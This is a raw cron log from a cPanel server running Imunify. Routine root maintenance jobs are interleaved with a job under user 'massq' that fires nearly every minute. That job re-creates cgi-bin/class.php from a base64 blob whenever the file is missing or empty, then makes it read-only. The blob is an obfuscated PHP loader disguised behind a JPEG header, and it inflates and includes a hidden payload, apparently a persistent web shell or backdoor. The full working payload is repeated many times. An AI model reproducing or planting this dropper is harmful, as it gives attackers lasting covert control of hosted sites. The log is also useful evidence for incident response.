Sep  7 11:08:01 server CROND[15612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:08:01 server CROND[15613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:08:01 server CROND[15615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:09:01 server CROND[15999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:09:01 server CROND[15998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:09:01 server CROND[16000]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 11:09:01 server CROND[16001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:10:01 server CROND[16394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:10:01 server CROND[16396]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:10:01 server CROND[16397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:10:01 server CROND[16399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:10:01 server CROND[16398]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:10:01 server CROND[16401]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:10:01 server CROND[16400]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:10:01 server CROND[16404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:11:01 server CROND[17220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:11:01 server CROND[17221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:11:01 server CROND[17222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:12:01 server CROND[17619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:12:01 server CROND[17620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:12:01 server CROND[17622]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 11:12:01 server CROND[17621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:13:01 server CROND[18091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:13:01 server CROND[18092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:13:01 server CROND[18093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:14:01 server CROND[18476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:14:01 server CROND[18477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:14:01 server CROND[18478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:15:01 server CROND[18882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:15:01 server CROND[18884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:15:01 server CROND[18886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:15:01 server CROND[18887]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 11:15:01 server CROND[18888]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:15:01 server CROND[18892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:15:01 server CROND[18885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:15:01 server CROND[18889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:16:01 server CROND[19740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:16:01 server CROND[19741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:16:01 server CROND[19742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:17:01 server CROND[20147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:17:01 server CROND[20148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:17:01 server CROND[20149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:18:01 server CROND[20578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:18:01 server CROND[20579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:18:01 server CROND[20580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:19:01 server CROND[21055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:19:01 server CROND[21056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:19:01 server CROND[21057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:20:01 server CROND[21435]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:20:01 server CROND[21440]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:20:01 server CROND[21444]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
